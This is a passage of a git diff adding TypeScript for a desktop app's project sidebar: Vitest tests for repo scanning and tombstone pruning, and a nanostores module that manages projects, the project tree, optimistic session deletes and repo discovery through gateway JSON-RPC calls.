+        repo_scan_roots: ['/work']
+      }
+    })
+
+    await scanAndRecordRepos()
+
+    expect(getClawCodexConfig).toHaveBeenCalledWith('default')
+    expect(scanRepos).toHaveBeenCalledWith(['/work'], {
+      enabled: true,
+      excludePaths: ['/work/vendor']
+    })
+    expect(request).toHaveBeenCalledWith('projects.record_repos', {
+      discovery_policy: {
+        enabled: true,
+        exclude_paths: ['/work/vendor'],
+        roots: ['/work']
+      },
+      repos: [{ label: 'repo', root: '/work/repo' }]
+    })
+  })
+
+  it('does not scan the local filesystem for remote connections', async () => {
+    isDesktopFsRemoteMode.mockReturnValue(true)
+    const scanRepos = vi.fn()
+    desktopGit.mockReturnValue({ scanRepos } as never)
+
+    await scanAndRecordRepos(true)
+
+    expect(scanRepos).not.toHaveBeenCalled()
+    expect(getClawCodexConfig).not.toHaveBeenCalled()
+  })
+})
+
+describe('project tree profile isolation', () => {
+  it('does not publish a late response from the previous profile', async () => {
+    let resolveA: ((value: unknown) => void) | undefined
+
+    const responseA = new Promise(resolve => {
+      resolveA = resolve
+    })
+
+    const gatewayA = { connectionState: 'open', request: vi.fn(() => responseA) }
+
+    const gatewayB = {
+      connectionState: 'open',
+      request: vi.fn().mockResolvedValue({
+        active_id: null,
+        projects: [{ id: 'profile-b', label: 'Profile B', path: null, repos: [], sessionCount: 0 }],
+        scoped_session_ids: []
+      })
+    }
+
+    let current = gatewayA
+    activeGateway.mockImplementation(() => current as never)
+    gatewayAtom.set(gatewayA as never)
+
+    const pendingA = refreshProjectTree()
+    current = gatewayB
+    $activeGatewayProfile.set('profile-b')
+    gatewayAtom.set(gatewayB as never)
+    await refreshProjectTree()
+    resolveA?.({
+      active_id: null,
+      projects: [{ id: 'profile-a', label: 'Profile A', path: null, repos: [], sessionCount: 0 }],
+      scoped_session_ids: []
+    })
+    await pendingA
+
+    expect($projectTree.get().map(project => project.id)).toEqual(['profile-b'])
+  })
+})
+
+describe('tombstone pruning', () => {
+  const openGatewayReturning = (scopedIds: string[]) => {
+    const gateway = {
+      connectionState: 'open',
+      request: vi.fn().mockResolvedValue({ active_id: null, projects: [], scoped_session_ids: scopedIds })
+    }
+
+    activeGateway.mockImplementation(() => gateway as never)
+    gatewayAtom.set(gateway as never)
+
+    return gateway
+  }
+
+  beforeEach(() => {
+    $removedSessionIds.set(new Set())
+    $sessionMutationsInFlight.set(new Set())
+  })
+
+  it('keeps an in-flight delete tombstone even when the backend snapshot omits it', async () => {
+    // Optimistic delete: hide the row, mark the RPC as in flight.
+    tombstoneSessions(['sess-1'])
+    beginSessionMutation(['sess-1'])
+
+    // A projects.tree refresh races the pending delete: the id is already gone
+    // from scope, but the RPC hasn't landed — the tombstone must survive so the
+    // row doesn't flash back.
+    openGatewayReturning([])
+    await refreshProjectTree()
+
+    expect($removedSessionIds.get().has('sess-1')).toBe(true)
+  })
+
+  it('prunes the tombstone once the mutation settles and scope no longer lists it', async () => {
+    tombstoneSessions(['sess-1'])
+    beginSessionMutation(['sess-1'])
+    openGatewayReturning([])
+    await refreshProjectTree()
+
+    // Delete RPC settled; the next refresh with the id absent from scope drops it.
+    endSessionMutation(['sess-1'])
+    await refreshProjectTree()
+
+    expect($removedSessionIds.get().has('sess-1')).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/store/projects.ts b/ui-desktop/src/store/projects.ts
new file mode 100644
index 000000000..5225387bf
--- /dev/null
+++ b/ui-desktop/src/store/projects.ts
@@ -0,0 +1,1269 @@
+import { atom } from 'nanostores'
+
+import {
+  liveSessionProjectId,
+  NO_PROJECT_ID,
+  type SidebarProjectTree
+} from '@/app/chat/sidebar/projects/workspace-groups'
+import { type ClawCodexGateway, getClawCodexConfig } from '@/clawcodex'
+import type { ClawCodexGitBaseBranch, ClawCodexGitBranch } from '@/global'
+import { translateNow } from '@/i18n'
+import { desktopDefaultCwd, isDesktopFsRemoteMode, selectDesktopPaths, writeDesktopFileText } from '@/lib/desktop-fs'
+import { desktopGit } from '@/lib/desktop-git'
+import { isMissingRpcMethod } from '@/lib/gateway-rpc'
+import { persistentAtom } from '@/lib/persisted'
+import { $gateway, activeGateway, ensureActiveGatewayOpen } from '@/store/gateway'
+import { setSidebarAgentsGrouped } from '@/store/layout'
+import { notify } from '@/store/notifications'
+import { $activeGatewayProfile, requestFreshSession } from '@/store/profile'
+import {
+  $currentCwd,
+  $selectedStoredSessionId,
+  $sessions,
+  idsShareLineage,
+  sessionMatchesStoredId,
+  setSessions,
+  workspaceCwdForNewSession
+} from '@/store/session'
+import { $focusedSessionState, $focusedStoredSessionId } from '@/store/session-states'
+import type { ProjectInfo, ProjectsPayload } from '@/types/clawcodex'
+
+// First-class, per-profile Projects (named, multi-folder workspaces). State is
+// served by the live gateway's `projects.*` JSON-RPC methods, which wrap the
+// per-profile projects.db store. The sidebar groups sessions by project folder
+// membership; these atoms are the renderer's cached view.
+
+export const $projects = atom<ProjectInfo[]>([])
+export const $activeProjectId = atom<null | string>(null)
+
+// The authoritative project -> repo -> lane tree (overview), served by
+// `projects.tree`. Lanes carry counts + structure; per-project session rows are
+// fetched lazily on drill-in via `fetchProjectSessions`. This is the single
+// source of project membership — the desktop no longer derives it.
+export const $projectTree = atom<SidebarProjectTree[]>([])
+export const $projectTreeLoading = atom(false)
+
+// False when the connected backend predates the projects.* JSON-RPC surface
+// (same semver label, older install). Null until the first probe.
+export const $projectsRpcAvailable = atom<boolean | null>(null)
+
+function markProjectsRpcSuccess(): void {
+  $projectsRpcAvailable.set(true)
+}
+
+function markProjectsRpcFailure(err: unknown): void {
+  if (isMissingRpcMethod(err)) {
+    $projectsRpcAvailable.set(false)
+  }
+}
+
+function projectsStaleBackendError(): Error {
+  return new Error(translateNow('sidebar.projects.staleBackend'))
+}
+
+// Client-side cache eviction (Apollo-style optimistic layer): ids the user just
+// deleted/archived. The backend tree is a snapshot that still lists them until
+// its next refresh, so the render-time overlay strips these so the tree matches
+// the live `$sessions` cache exactly — same as the flat Recents list. Pruned on
+// refresh once the server snapshot has caught up.
+export const $removedSessionIds = atom<Set<string>>(new Set())
+
+export function tombstoneSessions(ids: Array<null | string | undefined>): void {
+  const next = new Set($removedSessionIds.get())
+  const before = next.size
+
+  for (const id of ids) {
+    const trimmed = id?.trim()
+
+    if (trimmed) {
+      next.add(trimmed)
+    }
+  }
+
+  if (next.size !== before) {
+    $removedSessionIds.set(next)
+  }
+}
+
+export function untombstoneSessions(ids: Array<null | string | undefined>): void {
+  const current = $removedSessionIds.get()
+
+  if (!current.size) {
+    return
+  }
+
+  const next = new Set(current)
+
+  for (const id of ids) {
+    const trimmed = id?.trim()
+
+    if (trimmed) {
+      next.delete(trimmed)
+    }
+  }
+
+  if (next.size !== current.size) {
+    $removedSessionIds.set(next)
+  }
+}
+
+// Ids whose delete/archive RPC is still in flight. Their tombstones are pinned
+// against the projects.tree prune below: a refresh whose snapshot predates the
+// mutation completing must NOT drop the tombstone, or the row flashes back until
+// the backend catches up. Keyed by id, so concurrent deletes stay independent.
+export const $sessionMutationsInFlight = atom<Set<string>>(new Set())
+
+function mutateInFlight(ids: Array<null | string | undefined>, add: boolean): void {
+  const current = $sessionMutationsInFlight.get()
+  const next = new Set(current)
+
+  for (const id of ids) {
+    const trimmed = id?.trim()
+
+    if (trimmed) {
+      add ? next.add(trimmed) : next.delete(trimmed)
+    }
+  }
+
+  if (next.size !== current.size) {
+    $sessionMutationsInFlight.set(next)
+  }
+}
+
+export const beginSessionMutation = (ids: Array<null | string | undefined>): void => mutateInFlight(ids, true)
+export const endSessionMutation = (ids: Array<null | string | undefined>): void => mutateInFlight(ids, false)
+
+// True while the disk scan is in flight (drives the "finding repos" hint).
+export const $reposScanning = atom(false)
+
+// ── Project scope (the "you're inside a project" view, mirroring profile scope)─
+// The sidebar's grouped view is a project switcher: ALL_PROJECTS shows the
+// project overview (a list you drill into), and a concrete id means you've
+// "entered" that project so only its worktrees/branches/sessions show. This is
+// pure view state (localStorage), distinct from the durable active-project
+// pointer in projects.db — though entering a project also makes it active so new
+// chats land there, exactly as selecting a profile does.
+export const ALL_PROJECTS = '__all_projects__'
+
+const PROJECT_SCOPE_KEY = 'clawcodex.desktop.projectScope'
+
+export const $projectScope = persistentAtom<string>(PROJECT_SCOPE_KEY, ALL_PROJECTS, {
+  decode: raw => raw || ALL_PROJECTS,
+  encode: value => value || ALL_PROJECTS
+})
+
+// Enter a project: scope the sidebar to it and make it the active project
+// (best-effort — the durable pointer is nice-to-have, the view scope is the
+// point). Never opens a session.
+export function enterProject(id: string): void {
+  $projectScope.set(id)
+
+  // Only explicit, persisted projects (ids are `p_<hex>`) become active. Auto
+  // projects (ids are filesystem paths) and the Home bucket have no durable row
+  // to pin, so they're view-scope only.
+  if (id.startsWith('p_')) {
+    void setActiveProject(id).catch(() => undefined)
+  }
+}
+
+export function exitProjectScope(): void {
+  $projectScope.set(ALL_PROJECTS)
+}
+
+// A project's working root: its primary folder, else the first repo that has
+// one. Empty for the path-less Home bucket. (The sidebar's `projectTreeCwd` is
+// the same rule over the same tree — this is the store-side copy so the store
+// doesn't reach into the sidebar's React module.)
+export const projectRootCwd = (project: SidebarProjectTree | undefined): string =>
+  (project?.path || project?.repos.find(repo => repo.path)?.path || '').trim()
+
+// ⌘K "go to project": flip the sidebar into grouped mode and enter the project
+// — a pure scope switch, same as clicking the overview row (never spends main).
+// With `newSession` (⌘-select / ⌘-Enter) it also lands on a fresh session draft
+// anchored at the project root — stacked as a tab when main already holds a
+// chat (palette opens are opens-from-nowhere). A path-less project (the Home
+// bucket) gets a plain detached draft.
+export function goToProject(id: string, options?: { newSession?: boolean }): void {
+  setSidebarAgentsGrouped(true)
+  enterProject(id)
+
+  if (!options?.newSession) {
+    return
+  }
+
+  const cwd = projectRootCwd($projectTree.get().find(node => node.id === id))
+
+  if (cwd) {
+    requestStartWorkSession(cwd, undefined, { openTab: true })
+  } else {
+    requestFreshSession()
+  }
+}
+
+// The cwd a NEW chat should start in.
+//
+// Priority (first hit wins):
+//   1. Explicit sidebar project scope (drilled into a project / Home bucket)
+//   2. The FOCUSED session's workspace — so ⌘N / ⌘T from a chat that's already
+//      in a project/worktree stay there without requiring a sidebar drill-in
+//   3. Configured default project dir / remote remembered cwd (detached otherwise)
+//
+// The "active project" is just an atom ($projectScope) — so when you're inside
+// a project, a new session (cmd-n, the trunk "+") starts at that project's root
+// (its primary repo = the default-branch checkout). Outside a project it used
+// to fall straight to the plain default (detached), which dropped the workspace
+// of the chat you were looking at — that's the case (2) covers.
+export function resolveNewSessionCwd(): string {
+  const scope = $projectScope.get()
+
+  // Inside Home, "no folder" is the point: a new chat must stay detached rather
+  // than silently attaching to the configured default dir and leaving Home.
+  if (scope === NO_PROJECT_ID) {
+    return ''
+  }
+
+  if (scope !== ALL_PROJECTS) {
+    const cwd = projectRootCwd($projectTree.get().find(node => node.id === scope))
+
+    if (cwd) {
+      return cwd
+    }
+  }
+
+  // Inherit the focused chat's workspace. ⌘N/⌘T from a session that already
+  // has a project/pwd should stay there — drilling into the sidebar project
+  // is the uncommon path, not the requirement.
+  const focusedCwd = focusedSessionWorkspaceCwd()
+
+  if (focusedCwd) {
+    return focusedCwd
+  }
+
+  return workspaceCwdForNewSession()
+}
+
+/** Live workspace of the session the user is looking at (tile or primary). */
+function focusedSessionWorkspaceCwd(): string {
+  const focusedStoredId = $focusedStoredSessionId.get()
+  const state = $focusedSessionState.get()
+
+  // Prefer the live runtime slice when it belongs to the focused chat
+  // (agent can relocate mid-turn). Cold tabs / mid-switch lag fall through
+  // to the stored session row.
+  const stateCwd = state?.cwd?.trim() || ''
+  const stateStoredId = state?.storedSessionId?.trim() || ''
+
+  if (
+    stateCwd &&
+    (!focusedStoredId ||
+      !stateStoredId ||
+      stateStoredId === focusedStoredId ||
+      idsShareLineage(focusedStoredId, stateStoredId, $sessions.get()))
+  ) {
+    return stateCwd
+  }
+
+  if (focusedStoredId) {
+    const row = $sessions.get().find(s => sessionMatchesStoredId(s, focusedStoredId))
+    const rowCwd = row?.cwd?.trim() || ''
+
+    if (rowCwd) {
+      return rowCwd
+    }
+
+    // Focused a real session with no workspace → stay detached. Do NOT fall
+    // through to `$currentCwd` (it may still hold a remembered path from an
+    // earlier chat and would re-attach a project the user left).
+    return ''
+  }
+
+  // No focused stored session: primary draft. The composer atom is the draft's
+  // workspace target (set by startFreshSession / startSessionInWorkspace).
+  return $currentCwd.get().trim()
+}
+
+const underPath = (parent: string, child: string): boolean =>
+  child === parent || child.startsWith(parent.endsWith('/') ? parent : `${parent}/`)
+
+// The project (explicit or auto) that owns `cwd`, by longest path match across
+// the live tree. Null when no project covers it (it'll surface as a fresh
+// auto-project on the next tree refresh).
+export function projectIdForCwd(cwd: string): null | string {
+  let best: null | string = null
+  let bestLen = -1
+
+  for (const project of $projectTree.get()) {
+    // Match project + repo roots AND each worktree-lane path: a linked worktree
+    // (e.g. a sibling `repo-retry`) lives OUTSIDE the repo root, so root-prefix
+    // matching alone would miss it — but it's still part of the project.
+    const paths = [project.path, ...project.repos.flatMap(repo => [repo.path, ...repo.groups.map(group => group.path)])]
+
+    for (const path of paths) {
+      const p = (path || '').trim()
+
+      if (p && underPath(p, cwd) && p.length > bestLen) {
+        bestLen = p.length
+        best = project.id
+      }
+    }
+  }
+
+  return best
+}
+
+// The display NAME of the explicit, named project owning `cwd` (longest path
+// match), or null when the cwd sits in no named project. The status bar reads
+// this to label the workspace by project instead of the bare cwd leaf. We skip
+// auto-projects (a repo root promoted with no projects.db row) and the synthetic
+// Home bucket on purpose: those have no human name, so their sessions keep the
+// cwd-leaf label — matching the backend `_project_info_for_cwd`, which
+// only resolves projects.db rows, so the desktop and TUI name the same session
+// identically without threading a second per-session copy through session.info.
+export function projectNameForCwd(cwd: string): null | string {
+  const target = (cwd || '').trim()
+
+  if (!target) {
+    return null
+  }
+
+  let best: null | string = null
+  let bestLen = -1
+
+  for (const project of $projectTree.get()) {
+    if (project.isAuto || project.isNoProject) {
+      continue
+    }
+
+    const paths = [project.path, ...project.repos.flatMap(repo => [repo.path, ...repo.groups.map(group => group.path)])]
+
+    for (const path of paths) {
+      const p = (path || '').trim()
+
+      if (p && underPath(p, target) && p.length > bestLen) {
+        bestLen = p.length
+        best = project.label
+      }
+    }
+  }
+
+  return best
+}
+
+// The active session's agent relocated itself (created/entered another repo or
+// worktree via the terminal — backend re-anchors its cwd and emits session.info).
+// Re-pull projects + tree so a freshly created/auto project and the relocated
+// session row show live, then follow the view into the session's new project
+// (from the overview or a now-stale project alike). Caller gates this on a real
+// same-session cwd move, so a plain session switch never reaches here.
+export async function followActiveSessionCwd(cwd: string): Promise<void> {
+  const target = cwd.trim()
+
+  if (!target) {
+    return
+  }
+
+  await Promise.all([refreshProjects(), refreshProjectTree()])
+
+  // Resolve only after the refresh, so a just-created/auto project is in the tree.
+  const projectId = projectIdForCwd(target)
+
+  if (projectId) {
+    // The Projects tree only renders in grouped mode, so flip the sidebar into
+    // it — otherwise following from the flat Sessions list would change scope
+    // invisibly. Then drill into the thread's project.
+    setSidebarAgentsGrouped(true)
+
+    if (projectId !== $projectScope.get()) {
+      enterProject(projectId)
+    }
+  }
+}
+
+// Issue a request on whichever gateway is currently active, reconnecting once
+// if the socket dropped. Projects are per-profile, so they intentionally follow
+// the active gateway just like the session list does.
+async function gatewayRequest<T>(method: string, params: Record<string, unknown> = {}): Promise<T> {
+  let gateway = activeGateway()
+
+  if (!gateway || gateway.connectionState !== 'open') {
+    gateway = await ensureActiveGatewayOpen()
+  }
+
+  if (!gateway) {
+    throw new Error('ClawCodex gateway is not connected')
+  }
+
+  return gateway.request<T>(method, params)
+}
+
+async function gatewayRequestOn<T>(
+  gateway: ClawCodexGateway,
+  method: string,
+  params: Record<string, unknown> = {}
+): Promise<T> {
+  return gateway.request<T>(method, params)
+}
+
+interface ActiveProjectsContext {
+  gateway: ClawCodexGateway
+  profile: string
+}
+
+async function activeProjectsContext(): Promise<ActiveProjectsContext> {
+  const profile = $activeGatewayProfile.get() || 'default'
+  let gateway = activeGateway()
+
+  if (!gateway || gateway.connectionState !== 'open') {
+    gateway = await ensureActiveGatewayOpen()
+  }
+
+  if (!gateway || gateway !== activeGateway() || profile !== ($activeGatewayProfile.get() || 'default')) {
+    throw new Error('Active ClawCodex profile changed while connecting')
+  }
+
+  return { gateway, profile }
+}
+
+function applyPayload(payload: ProjectsPayload): void {
+  $projects.set(payload.projects ?? [])
+  $activeProjectId.set(payload.active_id ?? null)
+}
+
+// Pull the full project list + active pointer. Best-effort: a failure (gateway
+// not up yet) leaves the cached atoms intact so the sidebar doesn't flicker.
+export async function refreshProjects(): Promise<void> {
+  try {
+    applyPayload(await gatewayRequest<ProjectsPayload>('projects.list'))
+    markProjectsRpcSuccess()
+  } catch (err) {
+    markProjectsRpcFailure(err)
+    // Backend may not be ready; keep the last known list.
+  }
+}
+
+interface ProjectTreePayload {
+  projects: SidebarProjectTree[]
+  active_id: null | string
+  scoped_session_ids: string[]
+}
+
+let projectTreeRefreshGeneration = 0
+
+async function refreshProjectTreeOn(gateway: ClawCodexGateway): Promise<void> {
+  const generation = ++projectTreeRefreshGeneration
+
+  if (activeGateway() === gateway) {
+    $projectTreeLoading.set(true)
+  }
+
+  try {
+    const res = await gatewayRequestOn<ProjectTreePayload>(gateway, 'projects.tree', {
+      preview_limit: 3
+    })
+
+    if (generation !== projectTreeRefreshGeneration || activeGateway() !== gateway) {
+      return
+    }
+
+    const scoped = new Set(res.scoped_session_ids ?? [])
+    $projectTree.set(res.projects ?? [])
+    $activeProjectId.set(res.active_id ?? null)
+    const tombstones = $removedSessionIds.get()
+
+    if (tombstones.size) {
+      // Keep a tombstone while the backend still lists the id (delete pending on
+      // its side) OR while its mutation is still in flight locally — dropping it
+      // early flashes the row back until the RPC lands.
+      const inFlight = $sessionMutationsInFlight.get()
+      const pending = new Set([...tombstones].filter(id => scoped.has(id) || inFlight.has(id)))
+
+      if (pending.size !== tombstones.size) {
+        $removedSessionIds.set(pending)
+      }
+    }
+
+    markProjectsRpcSuccess()
+  } catch (err) {
+    if (activeGateway() === gateway) {
+      markProjectsRpcFailure(err)
+    }
+  } finally {
+    if (generation === projectTreeRefreshGeneration && activeGateway() === gateway) {
+      $projectTreeLoading.set(false)
+    }
+  }
+}
+
+// Pull the authoritative project tree (overview structure + counts + preview
+// sessions + the scoped-session-id set). Best-effort: a failure leaves the
+// cached tree intact so the sidebar doesn't flicker.
+export async function refreshProjectTree(): Promise<void> {
+  try {
+    const { gateway } = await activeProjectsContext()
+    await refreshProjectTreeOn(gateway)
+  } catch {
+    // Backend may not be ready; keep the last known tree.
+  }
+}
+
+// Fully hydrated lanes (repo -> lane -> session rows) for one project, fetched
+// when the user enters it. Same backend grouping as `projects.tree`, so ids and
+// membership match exactly.
+export async function fetchProjectSessions(projectId: string): Promise<SidebarProjectTree | null> {
+  try {
+    const res = await gatewayRequest<{ project: SidebarProjectTree | null }>('projects.project_sessions', {
+      project_id: projectId
+    })
+
+    return res.project ?? null
+  } catch {
+    return null
+  }
+}
+
+interface WorkspaceMovePayload {
+  branch?: null | string
+  cwd?: string
+  git_repo_root?: null | string
+}
+
+// Re-home a stored session into another project's root folder — the fix for a
+// chat created in the wrong directory. The backend replaces cwd + git identity
+// (so the tree's grouping follows) and re-anchors any live agent bound to the
+// row; here we mirror the move into the `$sessions` cache so both the flat list
+// and the grouped tree reflect it before the next authoritative refresh.
+export async function moveSessionToProject(
+  sessionId: string,
+  projectId: string,
+  profile?: null | string
+): Promise<void> {
+  const cwd = projectRootCwd($projectTree.get().find(node => node.id === projectId))
+
+  if (!cwd) {
+    throw new Error(translateNow('sidebar.projects.moveNoFolder'))
+  }
+
+  const res = await gatewayRequest<WorkspaceMovePayload>('session.workspace.move', {
+    cwd,
+    session_key: sessionId,
+    ...(profile ? { profile } : {})
+  })
+
+  const moved = res.cwd || cwd
+  setSessions(prev =>
+    prev.map(s =>
+      sessionMatchesStoredId(s, sessionId)
+        ? { ...s, cwd: moved, git_branch: res.branch ?? null, git_repo_root: res.git_repo_root ?? null }
+        : s
+    )
+  )
+  void refreshProjectTree()
+}
+
+export interface RepoDiscoveryPolicy {
+  enabled: boolean
+  roots: string[]
+  exclude_paths: string[]
+}
+
+export function repoDiscoveryPolicyFromConfig(config: unknown): RepoDiscoveryPolicy {
+  const desktopValue = config && typeof config === 'object' ? (config as { desktop?: unknown }).desktop : undefined
+
+  const desktop =
+    desktopValue && typeof desktopValue === 'object'
+      ? (desktopValue as {
+          repo_scan_enabled?: unknown
+          repo_scan_exclude_paths?: unknown
+          repo_scan_roots?: unknown
+        })
+      : {}
+
+  return {
+    enabled: desktop.repo_scan_enabled !== false,
+    roots: Array.isArray(desktop.repo_scan_roots)
+      ? desktop.repo_scan_roots.filter((value): value is string => typeof value === 'string')
+      : [],
+    exclude_paths: Array.isArray(desktop.repo_scan_exclude_paths)
+      ? desktop.repo_scan_exclude_paths.filter((value): value is string => typeof value === 'string')
+      : []
+  }
+}
+
+export function repoDiscoveryPolicySignature(policy: RepoDiscoveryPolicy): string {
+  return JSON.stringify(policy)
+}
+
+interface RepoScanState {
+  completedSignature?: string
+  generation: number
+  runningSignature?: string
+}
+
+const repoScanStates = new WeakMap<ClawCodexGateway, RepoScanState>()
+const scanningGatewayGenerations = new WeakMap<ClawCodexGateway, number>()
+
+function syncReposScanning(): void {
+  const gateway = activeGateway()
+  $reposScanning.set(Boolean(gateway && scanningGatewayGenerations.has(gateway)))
+}
+
+$gateway.subscribe(syncReposScanning)
+
+export async function scanAndRecordRepos(force = false): Promise<void> {
+  if (isDesktopFsRemoteMode()) {
+    return
+  }
+
+  let context: ActiveProjectsContext
+
+  try {
+    context = await activeProjectsContext()
+  } catch {
+    return
+  }
+
+  const scan = desktopGit()?.scanRepos
+
+  if (!scan) {
+    return
+  }
+
+  const state = repoScanStates.get(context.gateway) ?? { generation: 0 }
+  repoScanStates.set(context.gateway, state)
+  let generation: number | undefined
+
+  try {
+    const policy = repoDiscoveryPolicyFromConfig(await getClawCodexConfig(context.profile))
+    const signature = repoDiscoveryPolicySignature(policy)
+
+    if (!force && (state.completedSignature === signature || state.runningSignature === signature)) {
+      return
+    }
+
+    generation = ++state.generation
+    state.runningSignature = signature
+
+    if (!policy.enabled) {
+      await gatewayRequestOn(context.gateway, 'projects.record_repos', {
+        discovery_policy: policy,
+        repos: []
+      })
+    } else {
+      scanningGatewayGenerations.set(context.gateway, generation)
+      syncReposScanning()
+
+      const repos = await scan(policy.roots, {
+        enabled: true,
+        excludePaths: policy.exclude_paths
+      })
+
+      if (state.generation !== generation) {
+        return
+      }
+
+      await gatewayRequestOn(context.gateway, 'projects.record_repos', {
+        discovery_policy: policy,
+        repos
+      })
+    }
+
+    if (state.generation !== generation) {
+      return
+    }
+
+    state.completedSignature = signature
+    await refreshProjectTreeOn(context.gateway)
+  } catch {
+    state.completedSignature = undefined
+  } finally {
+    state.runningSignature = undefined
+
+    if (scanningGatewayGenerations.get(context.gateway) === generation) {
+      scanningGatewayGenerations.delete(context.gateway)
+    }
+
+    syncReposScanning()
+  }
+}
+
+export interface CreateProjectInput {
+  name: string
+  folders?: string[]
+  primaryPath?: string
+  slug?: string
+  description?: string
+  icon?: string
+  color?: string
+  boardSlug?: string
+  use?: boolean
+  // Free-text project idea; written to IDEA.md at the primary folder on create.
+  idea?: string
+}
+
+// Generate a project idea via the stateless llm.oneshot RPC (inherits the live
+// session's model when one exists). Returns "" on failure so the caller can just
+// leave the field untouched. The "🎲" affordance in the new-project dialog.
+export async function generateProjectIdea(name: string): Promise<string> {
+  try {
+    const res = await gatewayRequest<{ text: string }>('llm.oneshot', {
+      instructions:
+        'You generate a single, concrete project idea as a short IDEA.md body: a one-line summary, ' +
+        'then 3-5 bullet goals. No preamble, no code fences, under 120 words.',
+      input: name.trim() ? `Project name: ${name.trim()}` : 'Surprise me with a fun project.',
+      temperature: 1.0
+    })
+
+    return (res.text || '').trim()
+  } catch {
+    return ''
+  }
+}
+
+// Write IDEA.md to a project's primary folder (best-effort). Routes through the
+// remote-aware fs write, so it lands on the backend for a remote gateway and on
+// disk locally — the project is created regardless of whether the file lands.
+async function writeProjectIdea(folder: null | string | undefined, idea: string): Promise<void> {
+  const dir = (folder || '').trim()
+  const body = idea.trim()
+
+  if (!dir || !body) {
+    return
+  }
+
+  try {
+    await writeDesktopFileText(`${dir.replace(/[/\\]+$/, '')}/IDEA.md`, body.endsWith('\n') ? body : `${body}\n`)
+  } catch {
+    // Best-effort: the project is created regardless of whether IDEA.md lands.
+  }
+}
+
+// ── Optimistic cache layer ───────────────────────────────────────────────────
+// The project cache (list + tree + active pointer) mutates instantly on user
+// action; the write reconciles in the background and rolls the whole cache back
+// on failure — the same Apollo-style layer the session list uses.
+
+interface ProjectsSnapshot {
+  projects: ProjectInfo[]
+  tree: SidebarProjectTree[]
+  active: null | string
+}
+
+const snapshotProjects = (): ProjectsSnapshot => ({
+  projects: $projects.get(),
+  tree: $projectTree.get(),
+  active: $activeProjectId.get()
+})
+
+const restoreProjects = ({ projects, tree, active }: ProjectsSnapshot): void => {
+  $projects.set(projects)
+  $projectTree.set(tree)
+  $activeProjectId.set(active)
+}
+
+// Await an already-applied optimistic write; restore the snapshot if it throws.
+async function persistOrRollback(snap: ProjectsSnapshot, write: () => Promise<void>): Promise<void> {
+  try {
+    await write()
+  } catch (err) {
+    restoreProjects(snap)
+    throw err
+  }
+}
+
+const reconcileProjects = (): void => {
+  void refreshProjects()
+  void refreshProjectTree()
+}
+
+// Map a ProjectInfo (list shape) onto a minimal overview tree node so a created
+// project paints instantly. The backend seeds each folder as an (empty) repo, so
+// the next tree refresh fills in repos/counts; this is just the optimistic stub.
+function projectInfoToTreeNode(project: ProjectInfo): SidebarProjectTree {
+  return {
+    id: project.id,
+    label: project.name || project.id,
+    path: project.primary_path ?? project.folders?.[0]?.path ?? null,
+    color: project.color ?? null,
+    icon: project.icon ?? null,
+    isAuto: false,
+    repos: [],
+    sessionCount: 0,
+    previewSessions: []
+  }
+}
+
+export async function createProject(input: CreateProjectInput): Promise<ProjectInfo | null> {
+  if ($projectsRpcAvailable.get() === false) {
+    throw projectsStaleBackendError()
+  }
+
+  let res: { project: ProjectInfo | null }
+
+  try {
+    res = await gatewayRequest<{ project: ProjectInfo | null }>('projects.create', {
+      name: input.name,
+      folders: input.folders ?? [],
+      primary_path: input.primaryPath,
+      slug: input.slug,
+      description: input.description,
+      icon: input.icon,
+      color: input.color,
+      board_slug: input.boardSlug,
+      use: input.use ?? false
+    })
+  } catch (err) {
+    if (isMissingRpcMethod(err)) {
+      $projectsRpcAvailable.set(false)
+      throw projectsStaleBackendError()
+    }
+
+    throw err
+  }
+
+  markProjectsRpcSuccess()
+
+  // Not optimistic (the create awaits the RPC first, so there's nothing to roll
+  // back): apply the server's row into the cached list + tree at once, so it
+  // (and an entered scope) shows without waiting on the background refreshes
+  // that reconcile counts/repos.
+  const created = res.project
+
+  if (created) {
+    if (input.idea) {
+      void writeProjectIdea(created.primary_path ?? created.folders?.[0]?.path ?? input.primaryPath, input.idea)
+    }
+
+    if (!$projects.get().some(proj => proj.id === created.id)) {
+      $projects.set([...$projects.get(), created])
+    }
+
+    if (!$projectTree.get().some(node => node.id === created.id)) {
+      $projectTree.set([projectInfoToTreeNode(created), ...$projectTree.get()])
+    }
+
+    if (input.use) {
+      $activeProjectId.set(created.id)
+    }
+
+    setSidebarAgentsGrouped(true)
+  }
+
+  reconcileProjects()
+
+  return created
+}
+
+export async function renameProject(id: string, name: string): Promise<void> {
+  await updateProject(id, { name })
+}
+
+// Patch top-level project fields (name / appearance). Optimistic: the cached
+// tree + list update instantly so a color/icon/name change has no round-trip
+// lag; only a failed write reconciles from the server.
+export async function updateProject(
+  id: string,
+  patch: { name?: string; color?: null | string; icon?: null | string }
+): Promise<void> {
+  const snap = snapshotProjects()
+
+  $projectTree.set(
+    snap.tree.map(node =>
+      node.id === id
+        ? {
+            ...node,
+            ...(patch.name !== undefined && { label: patch.name }),
+            ...(patch.color !== undefined && { color: patch.color }),
+            ...(patch.icon !== undefined && { icon: patch.icon })
+          }
+        : node
+    )
+  )
+  $projects.set(snap.projects.map(proj => (proj.id === id ? { ...proj, ...patch } : proj)))
+
+  // Backend treats null/undefined as "leave unchanged"; "" clears (stores NULL).
+  // Map explicit null → "" so "no color"/"no icon" actually clear.
+  await persistOrRollback(snap, () =>
+    gatewayRequest('projects.update', {
+      id,
+      ...patch,
+      ...(patch.color === null && { color: '' }),
+      ...(patch.icon === null && { icon: '' })
+    })
+  )
+}
+
+// Appearance for an AUTO (inherited git-repo) project has no projects.db row to
+// write to — its id is just the repo path. So the first color/icon change ADOPTS
+// the repo as a real project (folder = repo root, name = its label) carrying the
+// chosen look; from then on it patches in place like any explicit project.
+// Returns true when an adoption happened, so an incremental picker can close
+// (the node's id changes on adopt, and a second stale write would double-create).
+export async function setProjectAppearance(
+  project: Pick<SidebarProjectTree, 'color' | 'icon' | 'id' | 'isAuto' | 'label' | 'path'>,
+  patch: { color?: null | string; icon?: null | string }
+): Promise<boolean> {
+  if (!project.isAuto) {
+    await updateProject(project.id, patch)
+
+    return false
+  }
+
+  if (!project.path) {
+    return false
+  }
+
+  await createProject({
+    name: project.label,
+    folders: [project.path],
+    primaryPath: project.path,
+    // Carry any already-set look so setting one field doesn't wipe the other.
+    color: (patch.color ?? project.color) || undefined,
+    icon: (patch.icon ?? project.icon) || undefined
+  })
+
+  return true
+}
+
+export async function addProjectFolder(
+  id: string,
+  path: string,
+  opts: { label?: string; isPrimary?: boolean } = {}
+): Promise<void> {
+  const snap = snapshotProjects()
+  const trimmed = path.trim()
+
